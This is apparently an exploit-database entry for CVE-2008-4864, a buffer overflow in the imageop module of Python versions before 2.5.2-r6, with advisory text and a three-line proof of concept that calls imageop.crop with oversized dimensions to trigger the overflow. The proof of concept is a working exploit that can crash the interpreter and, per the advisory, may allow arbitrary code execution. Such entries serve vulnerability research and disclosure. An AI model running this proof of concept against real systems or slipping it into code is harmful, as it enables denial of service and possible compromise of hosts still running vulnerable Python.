Python 2.5.2 - 'Imageop' Module Argument Validation Buffer Overflow

Author: Chris Evans
type: dos
platform: unix
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date_added: 2008-10-27 
date_updated: 2014-03-26 
verified: 1 
codes: CVE-2008-4864;OSVDB-50097 
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source: https://www.securityfocus.com/bid/31932/info

Python's 'imageop' module is prone to a buffer-overflow vulnerability.

Successful exploits may allow attackers to execute arbitrary code in the context of applications using the vulnerable Python modules. This may result in a compromise of the underlying system. Failed attempts may lead to a denial-of-service condition.

These issues affect versions prior to Python 2.5.2-r6.

import imageop
s = ''
imageop.crop(s, 1, 65536, 65536, 0, 0, 65536, 65536)